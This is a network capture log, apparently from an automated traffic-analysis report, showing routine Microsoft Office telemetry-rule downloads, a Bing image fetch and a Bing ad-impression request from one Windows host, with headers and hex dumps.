2024-11-23 23:06:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:27 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ba9b913e-601e-0001-2f1a-3dfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230627Z-178bfbc474bgvl54hC1NYCsfuw000000054g000000008g50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:27 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:27 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: bddf9f2e-a01e-0002-120c-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230627Z-178bfbc474bh5zbqhC1NYCkdug00000005200000000099rm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:27 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230628Z-178bfbc474bpscmfhC1NYCfc2c00000003s0000000006n49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49742	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:27 UTC	346	OUT	GET /th?id=OADD2.10239360433145_1P8I9JAN4TGEHJX5M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 23:06:28 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 482331 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C278677F30E544DA9F6F8475B59A1C78 Ref B: EWR311000105025 Ref C: 2024-11-23T23:06:28Z Date: Sat, 23 Nov 2024 23:06:27 GMT Connection: close
2024-11-23 23:06:28 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 35 39 3a 30 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:59:078C
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: 7c 5f c4 ab f2 ad 3d a2 b4 b9 91 64 81 67 f2 d5 b7 32 b7 af a5 6b ec d3 6a 4c 54 a3 74 4b 22 8b 8b 7f 35 ff 00 78 cd ca c7 fd da ad 2f d8 85 bb 19 fa b7 f0 ff 00 7b b6 31 4b 75 79 25 bb 20 b3 5e 59 4e e6 6f e1 ff 00 f5 55 8d 53 46 bd 8f 4f 5b d7 6f dd 37 f3 ad 62 2a b0 bb ba 31 ad d5 2e 61 90 49 f2 2a ff 00 ab 8f ff 00 af 50 5c c1 34 76 be 7c ea cc 15 87 dd 5a bb a7 c4 62 fd f4 4e b2 1e 47 97 bb bf d2 9f 73 75 3c ea d6 d2 7e ed 64 61 f3 37 dd 5f a1 f5 35 a6 bb 74 08 ec 99 66 13 75 fd 9b 14 71 dc aa af fb 2d f3 73 51 48 d1 da 42 be 5c 4c d2 2e 46 e6 63 d4 f5 ab d0 da c7 1e 9b e5 c5 13 4c 76 ff 00 17 a9 ac fb cb 1b 8f 27 78 55 dd d7 ef 77 f4 ac ef 1e 63 9e ba b3 33 2e a7 46 fd c6 df bd 8a ba b1 91 a7 f9 73 c5 b9 5b 95 65 5f 99 6a 27 24 2a b8 55 59 38 dd fd Data Ascii: \|_=dg2kjLTtK"5x/{1Kuy% ^YNoUSFO[o7b1.aIP\4v\|ZbNGsu<~da7_5tfuq-sQHB\L.FcLv'xUwc3.Fs[e_j'$*UY8
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: 3c 9b 65 58 a5 5f 95 97 e5 da 3d 85 66 49 2c 91 dc 2e 19 94 37 0c bf fd 7a 85 26 f6 22 f2 44 b7 82 54 9b fd 21 b6 9f f7 7e ed 2c b1 69 d2 ae f9 12 7f 33 6e 77 2f ad 3a 35 17 1b 97 cf 5c ee f9 bc cf 9a 9c aa 55 be ec 72 6e 5f 97 fb b5 4a 56 ea 3b df a8 96 66 31 e5 89 e7 fd d6 ed cd f3 7a 77 c5 43 a8 4e b6 ed be de 58 e4 fe f7 f1 37 3f a0 a8 af e2 66 56 91 db 64 6d f7 7f 1e 2a 2b 38 61 8f 69 95 99 bf 79 85 5f e2 c7 5c d5 5d 15 ce d1 6a 3b a4 92 dd 5f ca 6f 3b 6f cc ca df 2d 57 09 71 75 70 c4 33 66 35 3f f0 1c f5 35 72 c4 c1 3d c3 b2 7c c1 78 f9 bd 2a f5 fc 76 f6 da 7f 12 ee 95 58 15 91 57 e5 5c 70 72 05 4a 92 b9 b4 2f 33 29 55 ae 63 8a df cd 69 56 36 f9 63 8d 42 d4 7e 28 b4 8a 36 d3 e5 76 68 d7 e6 0c bf c5 9a b3 1b 3b 79 97 16 8d 24 b2 2a 93 b5 7e 5e 7d 00 Data Ascii: <eX_=fI,.7z&"DT!~,i3nw/:5\Urn_JV;f1zwCNX7?fVdm+8aiy_\]j;_o;o-Wqup3f5?5r=\|xvXW\prJ/3)UciV6cB~(6vh;y$*~^}
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: fd 75 99 7d 19 f3 bf 7e df 36 ec 36 df ba b9 a2 da ea 63 4d 3d 4b 68 da 7d db 7d b2 f1 b6 af 3f 2c 7f 7b 20 f5 3f e1 52 dc 6a 3a 5f cd 1d 95 9c f8 f3 00 8e 4d bb 77 39 a6 78 7e 4b 38 a6 92 29 60 55 f9 7e 66 8d 7e 69 2b 42 19 e0 b8 b5 5c ac 9e 54 1f c0 ab f7 7d 39 14 d8 4a e6 af 84 ad 1c 2f 99 b7 cb 9a 5c 96 66 e7 8f 4c d6 85 fc 08 f1 b2 6e e6 35 fb df dd c7 f4 aa 1a 5c 37 13 cc b7 43 cc 8a 38 97 72 c7 23 6d 65 a9 a6 b8 c3 6f 32 f9 5b b9 55 5f 9b eb fe 35 93 bd ee 73 34 dc 84 b6 b6 91 a1 54 dc b1 ee ce df 94 74 f7 ab 36 f0 23 5e 79 50 ca bb a3 8c 3a af d2 a9 ea 17 e5 6c d8 c6 ab e6 37 dd ff 00 67 d4 d4 0d 79 6f 23 42 04 aa b2 2e 37 7c df 2b 03 d6 a7 56 cb 54 64 d9 b0 66 12 ed c6 ed b1 b7 cc cb eb ed 53 69 f0 09 64 90 f9 ac a7 77 ca bb 86 df 6c fd 6b 1a 4b Data Ascii: u}~66cM=Kh}}?,{ ?Rj:_Mw9x~K8)`U~f~i+B\T}9J/\fLn5\7C8r#meo2[U_5s4Tt6#^yP:l7gyo#B.7\|+VTdfSidwlkK
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: d2 63 be f3 24 d5 6d 3c b9 97 e5 69 24 1b 79 ef 44 93 4c e9 a7 0d 35 39 8b 1f 80 fe 0e 0c cf 67 e2 1b 99 66 97 95 59 14 22 7e 95 15 e7 c1 7d 1a de de 58 ef 35 a9 22 1d 23 db 38 dc a6 bb 4b 9b 9d 1e 1b c5 09 a9 c1 22 b2 e1 99 5b 6a b7 d0 d4 3a 84 fa 5b c6 d3 ad cd b4 8a bf dd 9c 37 35 93 8a 34 b1 e3 ba de 83 a1 7c 3c d2 75 2d 60 5c dc cf 37 94 52 2f 33 e7 6c 9e 3e 5a f9 bf 5b 62 9a 85 8c 72 f9 99 b9 9d a6 95 64 fb 92 0c f1 fc eb da ff 00 6b 7f 14 d8 4b 63 06 91 a7 de 46 c5 9b 32 b4 5f 7b e8 2b c1 e1 96 7d 67 5a 91 f7 6e fb 34 62 38 f7 7d ec 9f 4a ec a5 1b 46 e3 4b a9 eb 7f 01 2d 60 6b 8b 9b 88 95 90 2c 80 40 df 77 8e f5 ef f6 36 f1 a4 6a 04 bb ba 16 66 fb cd 5e 77 f0 a7 c2 c2 c2 de da db ef 08 e0 52 db 7e 5e bc d7 a7 c5 66 90 d9 ab ee dc db 87 f1 76 ae 3a Data Ascii: c$m<i$yDL59gfY"~}X5"#8K"[j:[754\|<u-`\7R/3l>Z[brdkKcF2_{+}gZn4b8}JFK-`k,@w6jf^wR~^fv:
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: 13 9d aa bf ad 68 9a 60 7a d7 c2 7f 8c 57 ba 5c d1 59 6e fd cb 48 3f d1 a4 5d db 41 fe e1 fe 11 ed 5e bf af f8 7b c1 ff 00 15 34 ff 00 3f 4f 95 74 fd 4e 35 05 96 3f 95 f2 bf ce be 3c b7 59 d3 6c 91 b7 97 b5 be f2 fc bb 4d 77 1e 01 f8 85 7f a4 5c 45 25 e2 ca de 57 2b 3c 6d f3 af d4 7a 54 4a 9d f5 5b 87 2f 63 bc f1 c7 81 75 cf 0d 5a c8 6e d5 67 b4 8d 89 8a 78 17 26 4c f1 f3 d6 4d 86 89 7f 2d 8b 5e 58 e9 ea e5 57 13 4b 27 cf 12 9f a9 e0 62 bd 2f c1 7f 18 34 bd 6b 49 6d 17 5f 58 e2 b7 b9 5c b5 da c7 bc 30 07 07 70 1d 0d 74 5e 32 f8 4d 61 a9 68 f1 5e f8 2b 5e 58 ed bf d7 c7 04 6c 1e de e8 9f e1 3f dd cd 66 dc 96 e0 ee 78 26 a5 63 65 0b 4b 6f 3b 2a dd 6c 05 55 7f 79 ff 00 02 dd da b3 ae 74 f5 83 4f f3 ed ef 25 58 e4 90 ed 89 be 67 fd 7b 57 71 7d 6e 9a 3d c4 ba Data Ascii: h`zW\YnH?]A^{4?OtN5?<YlMw\E%W+<mzTJ[/cuZngx&LM-^XWK'b/4kIm_X\0pt^2Mah^+^Xl?fx&ceKo;*lUytO%Xg{Wq}n=
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: ff 00 0d 79 97 b6 52 35 ce 95 1f fa b6 b9 60 ff 00 a1 3d eb 13 c4 de 17 d5 34 59 b1 b5 9a 38 db e5 91 1b 72 f1 ee 2a d6 95 e2 ad 46 d9 62 87 50 dd 73 6b b8 7e e2 4f bb 9f 7a d5 79 32 92 d6 e8 d1 f0 ef 8a 6c f5 bf f4 39 e5 6b 69 1a 40 f2 2c 93 94 8f 23 b7 1f ca ba fd 79 20 96 66 b7 8d 60 fb 1c 71 8f 31 ad 94 33 37 a8 c8 ae 37 56 93 44 f1 6b 37 ee 97 4a 8e 3c 7c b1 28 dc c7 eb 55 3c 8f 19 f8 62 d6 49 e1 66 6b 0f bd b6 36 0d c7 fb bd 73 4e c2 ea 75 92 5c c5 24 71 79 b1 4f fd 9f 02 8f 2a d9 97 66 e3 f8 55 6d 41 be ca cc 60 95 7c ed 41 80 58 ed b3 bd 47 4e 49 a6 f8 3f c4 da 25 fa db 5b 45 e6 35 f4 59 3b b5 0f 95 17 3e 80 f7 ad 4b 8b 8b 84 d6 96 e2 59 67 b9 92 d5 48 f3 20 50 b0 c7 c7 af 7a 5a 8a ec 2e 34 9b 4f b4 41 a5 4f 07 ee a0 5f 3e 55 66 f9 1b f0 a9 2f b6 Data Ascii: yR5`=4Y8rFbPsk~Ozy2l9ki@,#y f`q1377VDk7J<\|(U<bIfk6sNu\$qyOfUmA`\|AXGNI?%[E5Y;>KYgH PzZ.4OAO_>Uf/
2024-11-23 23:06:28 UTC	16069	IN	Data Raw: ac 38 6f 35 5d 13 52 d9 2f 98 cd 16 42 c7 2e 76 ae 3d 3d 4d 74 5a 3f 8c ec af 6f 9a 4d 76 2d d1 2a fc b1 4b f3 27 f9 35 7a 86 a8 de d2 bc 55 a6 6b 76 31 e9 fa 55 de e6 91 80 91 ae 63 40 b1 d6 8d c6 97 1d ae a9 15 9d b4 b0 79 8c bb e4 9d a5 f3 78 f6 f4 ae 43 58 d3 f4 bd 55 7f b4 f4 e9 56 ce 25 ce cb 6b 65 cf 98 48 a5 f0 f5 cf 8b 3c 3d 6f 24 93 59 ff 00 67 db b2 e3 cf 9e 0f 31 a4 1e c3 af e1 53 61 7a 1d 1d bd d4 13 49 79 a6 5c 6d 68 ae 5b 11 49 26 55 77 f4 e3 1d 8d 51 d7 26 8b 4a d0 6e 63 bb fb 23 49 1f ee e3 82 05 c3 37 3d 4f f8 f5 ac 9f 11 78 cf cd f0 ca e9 76 16 31 db 2c 99 3f 6b b9 5f df 33 ff 00 b2 bd ab 87 6b bb db 88 da 71 3b 31 89 86 d8 d9 8e e6 ad 14 4a eb 63 6f c4 3e 29 d5 75 0b 1c c8 cb 6d 6d 04 62 3f 29 5b e6 6c 71 d7 af 4a c2 bd bb 8a f2 18 c5 Data Ascii: 8o5]R/B.v==MtZ?oMv-*K'5zUkv1Uc@yxCXUV%keH<=o$Yg1SazIy\mh[I&UwQ&Jnc#I7=Oxv1,?k_3kq;1Jco>)ummb?)[lqJ
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: 78 a1 68 f6 37 95 9e bd b2 01 aa cb 0e 9c d0 e2 4b eb b9 37 36 59 59 51 57 1e 9c 9a 9e fa 18 ef 34 18 e5 92 e5 62 31 c8 03 7e e0 bb 49 91 ed 53 69 f6 fe 1f 69 3e cf a8 6a ed 6a ad 18 fd e4 76 00 85 23 9c 7a d6 72 d0 68 ee bf 65 3d 52 db 4c f1 d5 cd 85 bb 33 2e a1 03 06 8e 4c 6e 5d bc 8f ad 5d f8 81 0b af 8d 3c 42 6c a7 56 5d b1 cc bf 36 de 17 96 18 ed 9a e3 fc 16 74 3d 2f e2 56 95 35 97 88 7e d5 ba 5d 9b 56 db 66 ef c6 bd 4b c7 da 74 52 f8 eb ed 10 45 1c 71 6b 1a 5b 5b ee 5f 97 6c 98 e0 b7 e3 51 74 a4 98 5f 5b 9e eb e1 19 e3 b8 f0 ce 9f 2c 0c de 4c 96 d1 bc 7f c4 dc 8f 5a 9f c5 cf 9f 07 ea 52 7d d6 5b 6f 95 bf bb 5c e7 c1 0b a1 77 f0 9f 43 7d df bc 8e db cb 91 5b d5 49 15 ad e3 19 87 fc 22 7a 84 72 37 97 ba 1f 97 f3 ae 57 a4 99 aa f8 4d 0b 39 63 fe c9 b6 Data Ascii: xh7K76YYQW4b1~ISii>jjv#zrhe=RL3.Ln]]<BlV]6t=/V5~]VfKtREqk[[_lQt_[,LZR}[o\wC}[I"zr7WM9c
2024-11-23 23:06:28 UTC	16384	IN	Data Raw: eb 73 a2 6a 10 58 dc 4c db d5 ad 9b 6a 5c 21 e7 28 7f c9 cd 79 0f 8a b4 b9 74 2f 10 4b 6f 7b 63 77 75 2c f1 83 1d cc ab f2 ef ec a3 3f 7a 94 25 76 52 d5 98 f6 d0 58 2f 96 f2 41 e5 47 d1 7f ba a3 db df 35 53 59 b9 b7 86 e1 67 b2 6d b6 b1 67 73 48 dd fd b1 56 75 0d 2f 58 8f 49 6b 93 73 e6 43 73 c3 5b 44 bc e4 75 15 94 da 6c 7a 55 c5 b4 a8 d7 d3 c3 2f ef 1a 29 63 ff 00 57 fe 38 35 aa 68 77 b0 cb 6f 12 4f 7e d2 69 c9 79 34 03 ee ee 69 3e f7 ae d3 eb 5e e1 f0 1b e2 0e ff 00 0f c1 a1 f8 8e e6 58 ee a0 94 41 65 73 27 cd f6 a8 cf dd df ee 3d 6b c4 ef b4 f5 d4 64 fb 4a b7 d9 44 58 31 ac 71 fc ed 9f ad 16 fa d6 bd a5 c8 bf 6a b6 fb 4c 6b 9d b2 5c fc 8e b8 3d 54 d4 ce 2a 4a c8 a4 ed b1 f6 76 9f 2c af f2 3c 4d b7 a3 36 df eb 57 ad 8e d6 64 93 76 57 ee ee fb d5 f3 77 Data Ascii: sjXLj\!(yt/Ko{cwu,?z%vRX/AG5SYgmgsHVu/XIksCs[DulzU/)cW85hwoO~iy4i>^XAes'=kdJDX1qjLk\=T*Jv,<M6WdvWw

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:27 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f440515e-401e-0029-2e38-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230628Z-178bfbc474bv7whqhC1NYC1fg4000000055g0000000061k4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:27 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: eb93f719-b01e-0098-406c-3dcead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230628Z-15b8b599d88cn5thhC1TEBqxkn00000003dg00000000g0ur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49740	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:27 UTC	370	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=aa03249065a04496a84771c00d48fd12&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
